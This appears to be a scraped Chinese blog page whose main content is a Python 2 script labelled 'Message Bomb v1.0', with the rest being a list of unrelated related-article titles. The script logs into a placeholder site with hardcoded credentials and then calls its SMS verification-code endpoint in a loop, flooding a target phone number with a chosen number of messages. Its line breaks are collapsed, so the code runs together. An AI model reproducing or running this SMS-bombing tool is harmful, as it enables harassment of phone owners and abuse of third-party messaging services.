关键在于把头的请求类型设置成XMLHttpRequest

#-*-coding:utf-8-*-
#!/usr/bin/python#
#   Message Bomb v1.0
#From: sb.f4ck.net  By: xfkxfk
#import json
import urllib2
import sysdef request_ajax_url(url,body,referer=None,cookie=None,**headers):req = urllib2.Request(url)req.add_header('Content-Type', 'application/json')req.add_header('X-Requested-With','XMLHttpRequest')if cookie:req.add_header('Cookie',cookie)if referer:req.add_header('Referer',referer)if headers:for k in headers.keys():req.add_header(k,headers[k])postBody = json.dumps(body)response = urllib2.urlopen(req, postBody)if response:return responsedef run():import time"use username:xfkxfk; use password:123456"login_url = 'http://www.xx.com/member/Login.aspx'login_body = {"action":"login","UserName":"xfkxfk","Password":"123456","AutomaticLogin":False}login_referer = "http://www.xx.com/member/Login.aspx?ReturnUrl=aHR0cDovL3d3dy5sdXNlbi5jb20vRGVmYXVsdC5hc3B4"url = 'http://www.xx.com/Member/MobileValidate.aspx'referer = "http://www.xx.com/Member/ModifyMobileValidate.aspx"headers = {}response = request_ajax_url(login_url,login_body,login_referer)if response.read() == "1":print " Login Success !!!"if response.headers.has_key('set-cookie'):set_cookie = response.headers['set-cookie']else :print " Get set-cookie Failed !!! May Send Messages Failed ~~~"if len(sys.argv) < 3:print "\nUsage: python " + sys.argv[0] + "mobile_number" + "count\n"sys.exit()mobile_number = sys.argv[1]count = sys.argv[2]body = {"action":"GetValidateCode","Mobile":mobile_number}i=0while i < int(count):response = request_ajax_url(url,body,referer,set_cookie)i=i+1if response.read() == "发送成功":print " Send " + count + " Messages To " + mobile_number + " !!!"if __name__ == "__main__":run()

python3 模拟 ajax post请求相关推荐

  1. dva ajax请求,dva框架使用mock.js模拟数据 + fetch请求数据

    what DVA? Dva是基于Redux做了一层封装,对于React的state管理,有很多方案,我选择了轻量.简单的Dva. dva 可以很方便就使用mock.js进行数据的模拟. 只需要三步,即 ...

  2. Python3 爬取今日头条(模拟ajax请求)

    Python3 爬取今日头条(模拟ajax请求) 注:本文是跟据博主崔庆才的博客来写的,不单单是思路值得学习,还有代码规范更值得去学习.路漫漫其修远兮,吾将上下而求索. 新建一个config.py文件 ...

  3. Vuejs模拟Ajax请求接口(天气预报API)跨域问题 - 案例篇

    vuejs的Ajax跨域请求问题一直都是前端人员开发vue项目进程中经常遇到的不得不解决的热门问题,也是个心病. 首先看一下,页面 报错内容提示: Access to XMLHttpRequest a ...

  4. ajax怎么模拟请求,如何模拟AJAX请求?

    在端到端测试期间修改scenarios.js以模拟AJAX请求的最简单方法是什么?如何模拟AJAX请求? My Test AngularJS App angular.module('myApp', [ ...

  5. Python爬虫学习之API与模拟ajax请求

    API的使用 --通过API向服务器请求数据 优点:简单直接,高效率地批量爬取:解决动态网页的爬取. 缺点:通过API的缺点是有些网站会限制API调用的次数和频率,用户需要付费来升级成高级用户来获取更 ...

  6. Python模拟Ajax请求爬取微博

    一 分析请求 1 Chrome浏览器打开开发工具,然后访问https://m.weibo.cn/u/2830678474 2 一直滑动页面以加载新的微博内容.可以看到,会不断有Ajax请求发出. 3  ...

  7. python模拟ajax请求_短信炸弹—用Python模拟ajax请求

    我们经常使用各种脚本发送网络请求,提交各种形式的body数据,所以Content-Type的类型也有很多种. 常见的取值有: application/xml : 在 XML RPC,如 RESTful ...

  8. Ajax异步请求(重渲染DOM元素时,如何自动调用并执行JS自定义函数【含代码】)- 案例篇

    文章目录 Ajax异步请求(重渲染DOM元素时,如何自动调用并执行JS自定义函数[含代码])- 案例篇 效果截图: 重要代码: 附:全部HTML代码: Ajax异步请求(重渲染DOM元素时,如何自动调 ...

  9. maven工程 java 实现文件上传 SSM ajax异步请求上传

    java ssm框架实现文件上传 实现:单文件上传.多文件上传(单选和多选),并且用 ajax 异步刷新,在当前界面显示上传的文件 首先springmvc的配置文件要配置上传文件解析器: 1 < ...

最新文章

  1. 网页视频播放开发总结
  2. springboot读取json文件_SpringBoot:配置文件属性读取
  3. 又一款超酷的 Python 可视化神器:cutecharts
  4. dart系列之:还在为编码解码而烦恼吗?用dart试试
  5. 网页版nfc_苹果5大系统升级新特性浓缩汇总!秋季5G版iPhone稳了
  6. IntelliJ IDEA关于logger的live template配置
  7. 计算机二维动画的核心技术是什么意思,数字化技术在二维动画设计中的应用研究...
  8. ZooKeeper分布式应用程序的分布式协调服务:概述,入门,发布版本
  9. 矩池云上缺少curand.h、cublas_v2.h、cusolverDn.h头文件解决方法
  10. 科大讯飞交通超脑荣获 2019 年大数据应用最佳实践案例 TOP10
  11. 代码段:js表单提交检测
  12. turboc7运行C测试 vc6.0测试
  13. ESP8266之ESP8266WebServer库学习
  14. mysql 局域网数据库共享,SQL Server 2005 在局域网中共享数据库
  15. 这个方法可以实现自动抠图,快来get
  16. 风控建模一、初步认识风控
  17. 基于PID控制的车辆LKA算法
  18. 从QQ音乐开发,探讨如何利用腾讯云SDK在直播中加入视频动画
  19. 信息系统项目管理案例分析
  20. 7种延迟加载javascript方法(转)

热门文章

  1. motrix高速下载百度网盘资源的方法
  2. OSChina 周一乱弹 ——生死之际还能从容装逼,先生大才
  3. GD32F4xx uIP协议栈移植记录
  4. ipfs星际文件系统初体验
  5. 新版TOMTOM导航仪破解指南
  6. Java基础—集合框架(三)
  7. 学讲普通话水平测试软件,普通话智能学习软件
  8. rhel6系统服务-最全
  9. 二级mysql大题_全国计算机等级考试二级MySQL练习题及答案
  10. Mapbox实现自定义经纬网及标注